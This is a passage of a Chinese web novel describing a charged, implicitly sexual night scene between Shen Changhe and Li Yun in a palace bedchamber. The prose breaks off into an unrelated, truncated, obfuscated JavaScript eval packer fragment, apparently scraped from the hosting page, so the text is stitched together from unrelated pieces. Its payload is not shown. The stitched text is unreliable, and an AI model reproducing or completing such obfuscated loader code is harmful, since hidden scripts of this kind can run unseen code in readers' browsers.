了脚踏的边缘,只需要再抬一步便能够抵达目的地,但他没那么做。
他感觉到一个坚硬的物件抵住了腰部,那个东西坚硬、冰凉,像把玩在手上的玉如意,提醒他接下来不要动。
沈长河没动。
呼吸猛然短促地变了节奏。
里衣的带子被挑开,一只指尖微凉的手轻触着自己的腹部,沈长河下意识绷紧了肌肉,纹理的变化令那人好奇,因为那只手戳了戳垒块分明的腹肌。
碰触来的快,去的也快。
短暂的接触之后是长时间的沉默,正当沈长河惴惴地想自己是不是要发出声音的时候,又传来了一声啪啪。
沈长河抬起脚,往上走了一步,没有被阻止,他被允许靠近……
今夜无雨,亦没有风。
围绕着寝殿的蝉鸣时而聒噪猛烈时而柔软缠绵,暧昧的呼吸声揉进了蝉鸣的间隙里,惹得月亮都忍不住躲进了云层。
蜡烛燃烧,烛芯发出轻微的爆裂声,一只手吃力地抓紧了沈长河的头发,他受疼地歪着头,任由那人发泄着不满和不安。
人总是铆足了劲儿地想弥补第一次的缺憾,沈长河同样如此,他嘴上说着得罪,行动上却一次次在冒犯。
惊呼骤然而起却迟迟不肯退去。
放在屋角的蜡烛已经燃尽,室内陷入黑暗,取而代之的是从窗户缝隙钻进来的月光,比烛火更柔、更静,落在李蕴猛然收紧后缓缓松开的手上。
轻柔的发带失去了绞在一起的力量,轻飘地落下,恰好盖在了李蕴的眼上。
他眨眨眼,从茫然中拾起了涣散的注意力,他蓦然发现发带就是“掩耳盗铃”,可以透过发带朦胧地看见近在咫尺的人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new